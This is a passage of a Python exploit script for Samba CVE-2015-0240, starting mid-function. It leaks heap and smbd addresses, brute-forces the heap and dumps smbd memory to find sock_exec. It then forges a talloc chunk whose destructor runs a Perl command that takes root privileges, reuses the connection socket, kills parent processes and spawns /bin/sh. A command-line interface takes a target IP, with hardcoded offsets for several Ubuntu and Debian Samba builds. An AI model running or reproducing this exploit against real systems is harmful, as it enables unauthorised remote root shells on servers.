while smbd_server_connection_handler_addr is None:
smbd_server_connection_handler_addr = real_leak_conn_handler_addr(info)
print(' [+] smbd_server_connection_handler addr: {:x}'.format(smbd_server_connection_handler_addr))
info['smbd_server_connection_handler_addr'] = smbd_server_connection_handler_addr
return smbd_server_connection_handler_addr
def find_smbd_base_addr(info):
# estimate smbd_addr from talloc_pop
if (info['talloc_pop_addr'] & 0xf) != 0 or (info['smbd_server_connection_handler_addr'] & 0xf) != 0:
# code has no alignment
start_addr = info['smbd_server_connection_handler_addr'] - 0x124000
else:
start_addr = info['smbd_server_connection_handler_addr'] - 0x130000
start_addr = start_addr & 0xfffff000
stop_addr = start_addr - 0x20000
print('[*] finding smbd loaded addr ...')
while True:
smbd_addr = start_addr
while smbd_addr >= stop_addr:
if addr2utf_prefix(smbd_addr-8) == 3:
# smbd_addr is 0xb?d?e000
test_addr = smbd_addr - 0x800 - 4
else:
test_addr = smbd_addr - 8
# test writable on test_addr
answers = leak_info_addr(info['payload_addr'], 0, test_addr, retry=False)
if answers is not None:
break
smbd_addr -= 0x1000 # try prev page
if smbd_addr > stop_addr:
break
print(' [-] failed. try again.')
info['smbd_addr'] = smbd_addr
print(' [+] found smbd loaded addr: {:x}'.format(smbd_addr))
def dump_mem_call_addr(info, target_addr):
# leak pipes_struct address from
# smbd_server_connection->chain_fsp->fake_file_handle->private_data
# (offset: ->0x48 ->0xd4 ->0x4 )
# Note:
# - MUST NOT disconnect because chain_fsp,fake_file_handle,pipes_struct address will be changed
# - target_addr will be replaced with current_pdu_sent address
# check read_from_internal_pipe() in source3/rpc_server/srv_pipe_hnd.c
print(' [*] overwrite current_pdu_sent for dumping memory ...')
answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['smb_request_addr'] + 0x48)
if answers is None:
print(' [-] cannot leak chain_fsp address :(')
return False
chain_fsp_addr = answers[1]
print(' [*] chain_fsp addr: {:x}'.format(chain_fsp_addr))
answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], chain_fsp_addr+0xd4, retry=False)
if answers is None:
print(' [-] cannot leak fake_file_handle address :(')
return False
fake_file_handle_addr = answers[0]
print(' [*] fake_file_handle addr: {:x}'.format(fake_file_handle_addr))
answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], fake_file_handle_addr+0x4-0x4, retry=False)
if answers is None:
print(' [-] cannot leak pipes_struct address :(')
return False
pipes_struct_addr = answers[2]
print(' [*] pipes_struct addr: {:x}'.format(pipes_struct_addr))
current_pdu_sent_addr = pipes_struct_addr+0x84
print(' [*] current_pdu_sent addr: {:x}'.format(current_pdu_sent_addr))
# change pipes->out_data.current_pdu_sent to dump memory
return leak_info_unlink(info['payload_addr'], current_pdu_sent_addr-4, target_addr, call_only=True)
def dump_smbd_find_bininfo(info):
def recv_till_string(data, s):
pos = len(data)
while True:
data += force_recv()
if len(data) == pos:
print('no more data !!!')
return None
p = data.find(s, pos-len(s))
if p != -1:
return (data, p)
pos = len(data)
return None
def lookup_dynsym(dynsym, name_offset):
addr = 0
i = 0
offset_str = pack("<I", name_offset)
while i < len(dynsym):
if dynsym[i:i+4] == offset_str:
addr = unpack("<I", dynsym[i+4:i+8])[0]
break
i += 16
return addr
print('[*] dumping smbd ...')
dump_call = False
# have to minus from smbd_addr because code section is read-only
if addr2utf_prefix(info['smbd_addr']-4) == 3:
# smbd_addr is 0xb?d?e000
dump_addr = info['smbd_addr'] - 0x800 - 4
else:
dump_addr = info['smbd_addr'] - 4
for i in range(8):
if dump_mem_call_addr(info, dump_addr):
mem = force_recv()
if len(mem) == 4280:
dump_call = True
break
print(' [-] dump_mem_call_addr failed. try again')
force_dce_disconnect()
if not dump_call:
print(' [-] dump smbd failed')
return False
print(' [+] dump success. getting smbd ...')
# first time, remove any data before \7fELF
mem = mem[mem.index('\x7fELF'):]
mem, pos = recv_till_string(mem, '\x00__gmon_start__\x00')
print(' [*] found __gmon_start__ at {:x}'.format(pos+1))
pos = mem.rfind('\x00\x00', 0, pos-1)
dynstr_offset = pos+1
print(' [*] found .dynstr section at {:x}'.format(dynstr_offset))
dynstr = mem[dynstr_offset:]
mem = mem[:dynstr_offset]
# find start of .dynsym section
pos = len(mem) - 16
while pos > 0:
if mem[pos:pos+16] == '\x00'*16:
break
pos -= 16 # sym entry size is 16 bytes
if pos <= 0:
print(' [-] found wrong .dynsym section at {:x}'.format(pos))
return None
dynsym_offset = pos
print(' [*] found .dynsym section at {:x}'.format(dynsym_offset))
dynsym = mem[dynsym_offset:]
# find sock_exec
dynstr, pos = recv_till_string(dynstr, '\x00sock_exec\x00')
print(' [*] found sock_exec string at {:x}'.format(pos+1))
sock_exec_offset = lookup_dynsym(dynsym, pos+1)
print(' [*] sock_exec offset {:x}'.format(sock_exec_offset))
#info['mem'] = mem # smbd data before .dynsym section
info['dynsym'] = dynsym
info['dynstr'] = dynstr # incomplete section
info['sock_exec_addr'] = info['smbd_addr']+sock_exec_offset
print(' [+] sock_exec addr: {:x}'.format(info['sock_exec_addr']))
# Note: can continuing memory dump to find ROP
force_dce_disconnect()
########
# code execution
########
def call_sock_exec(info):
prefix_len = addr2utf_prefix(info['sock_exec_addr'])
if prefix_len == 3:
return False # too bad... cannot call
if prefix_len == 2:
prefix_len = 0
fake_talloc_chunk_exec = pack("<IIIIIIIIIIII",
0, 0, # next, prev
0, 0, # parent, child
0, # refs
info['sock_exec_addr'], # destructor
0, 0, # name, size
TALLOC_MAGIC | TALLOC_FLAG_POOL, # flag
0, 0, 0, # pool, pad, pad
)
chunk = '\x00'*prefix_len+fake_talloc_chunk_exec + info['cmd'] + '\x00'
set_payload(chunk, TARGET_PAYLOAD_SIZE)
for i in range(3):
if request_check_valid_addr(info['payload_addr']+TALLOC_HDR_SIZE+prefix_len):
print('waiting for shell :)')
return True
print('something wrong :(')
return False
########
# start work
########
def check_exploitable():
if request_check_valid_addr(0x41414141):
print('[-] seems not vulnerable')
return False
if request_check_valid_addr(0):
print('[+] seems exploitable :)')
return True
print("[-] seems vulnerable but I cannot exploit")
print("[-] I can exploit only if 'creds' is controlled by 'ReferentId'")
return False
def do_work(args):
info = {}
if not (args.payload_addr or args.heap_start or args.start_payload_size):
if not check_exploitable():
return
start_size = 512*1024 # default size with 512KB
if args.payload_addr:
info['payload_addr'] = args.payload_addr
else:
heap_start = args.heap_start if args.heap_start else 0xb9800000+0x30000
if args.start_payload_size:
start_size = args.start_payload_size * 1024
if start_size < TARGET_PAYLOAD_SIZE:
start_size = 512*1024 # back to default
info['payload_addr'] = find_payload_addr(heap_start, start_size, TARGET_PAYLOAD_SIZE)
# the real talloc chunk address that stored the raw netlogon data
# serverHandle 0x10 bytes. accountName 0xc bytes
info['chunk_addr'] = info['payload_addr'] - 0x1c - TALLOC_HDR_SIZE
print("[+] chunk addr: {:x}".format(info['chunk_addr']))
while not leak_info_find_offset(info):
# Note: do heap bruteforcing again seems to be more effective
# start from payload_addr + some offset
print("[+] bruteforcing heap again. start from {:x}".format(info['payload_addr']+0x10000))
info['payload_addr'] = find_payload_addr(info['payload_addr']+0x10000, start_size, TARGET_PAYLOAD_SIZE)
info['chunk_addr'] = info['payload_addr'] - 0x1c - TALLOC_HDR_SIZE
print("[+] chunk addr: {:x}".format(info['chunk_addr']))
got_fd = leak_sock_fd(info)
# create shell command for reuse sock fd
cmd = "perl -e 'use POSIX qw(dup2);$)=0;$>=0;" # seteuid, setegid
cmd += "dup2({0:d},0);dup2({0:d},1);dup2({0:d},2);".format(info['sock_fd']) # dup sock
# have to kill grand-grand-parent process because sock_exec() does fork() then system()
# the smbd process still receiving data from socket
cmd += "$z=getppid;$y=`ps -o ppid= $z`;$x=`ps -o ppid= $y`;kill 15,$x,$y,$z;" # kill parents
cmd += """print "shell ready\n";exec "/bin/sh";'""" # spawn shell
info['cmd'] = cmd
# Note: cannot use system@plt because binary is PIE and chunk dtor is called in libtalloc.
# the ebx is not correct for resolving the system address
smbd_info = {
0x5dd: { 'uint8t_offset': 0x711555, 'talloc_pop': 0x41a890, 'sock_exec': 0x0044a060, 'version': '3.6.3-2ubuntu2 - 3.6.3-2ubuntu2.3'},
0xb7d: { 'uint8t_offset': 0x711b7d, 'talloc_pop': 0x41ab80, 'sock_exec': 0x0044a380, 'version': '3.6.3-2ubuntu2.9'},
0xf7d: { 'uint8t_offset': 0x710f7d, 'talloc_pop': 0x419f80, 'sock_exec': 0x00449770, 'version': '3.6.3-2ubuntu2.11'},
0xf1d: { 'uint8t_offset': 0x71ff1d, 'talloc_pop': 0x429e80, 'sock_exec': 0x004614b0, 'version': '3.6.6-6+deb7u4'},
}
leak_talloc_pop_addr(info) # to double check the bininfo
bininfo = smbd_info.get(info['uint8t_addr'] & 0xfff)
if bininfo is not None:
smbd_addr = info['uint8t_addr'] - bininfo['uint8t_offset']
if smbd_addr + bininfo['talloc_pop'] == info['talloc_pop_addr']:
# correct info
print('[+] detect smbd version: {:s}'.format(bininfo['version']))
info['smbd_addr'] = smbd_addr
info['sock_exec_addr'] = smbd_addr + bininfo['sock_exec']
print(' [*] smbd loaded addr: {:x}'.format(smbd_addr))
print(' [*] use sock_exec offset: {:x}'.format(bininfo['sock_exec']))
print(' [*] sock_exec addr: {:x}'.format(info['sock_exec_addr']))
else:
# wrong info
bininfo = None
got_shell = False
if bininfo is None:
# no target binary info. do a hard way to find them.
"""
leak smbd_server_connection_handler for 2 purposes
- to check if compiler does code alignment
- to estimate smbd loaded address
- gcc always puts smbd_server_connection_handler() function at
beginning area of .text section
- so the difference of smbd_server_connection_handler() offset is
very low for all smbd binary (compiled by gcc)
"""
leak_smbd_server_connection_handler_addr(info)
find_smbd_base_addr(info)
dump_smbd_find_bininfo(info)
# code execution
if 'sock_exec_addr' in info and call_sock_exec(info):
s = get_socket()
print(s.recv(4096)) # wait for 'shell ready' message
s.send('uname -a\n')
print(s.recv(4096))
s.send('id\n')
print(s.recv(4096))
s.send('exit\n')
s.close()
def hex_int(x):
return int(x,16)
# command arguments
parser = argparse.ArgumentParser(description='Samba CVE-2015-0240 exploit')
parser.add_argument('target', help='target IP address')
parser.add_argument('-hs', '--heap_start', type=hex_int,
help='heap address in hex to start bruteforcing')
parser.add_argument('-pa', '--payload_addr', type=hex_int,
help='exact payload (accountName) address in heap. If this is defined, no heap bruteforcing')
parser.add_argument('-sps', '--start_payload_size', type=int,
help='start payload size for bruteforcing heap address in KB. (128, 256, 512, ...)')
args = parser.parse_args()
requester.set_target(args.target)
try:
do_work(args)
except KeyboardInterrupt:
pass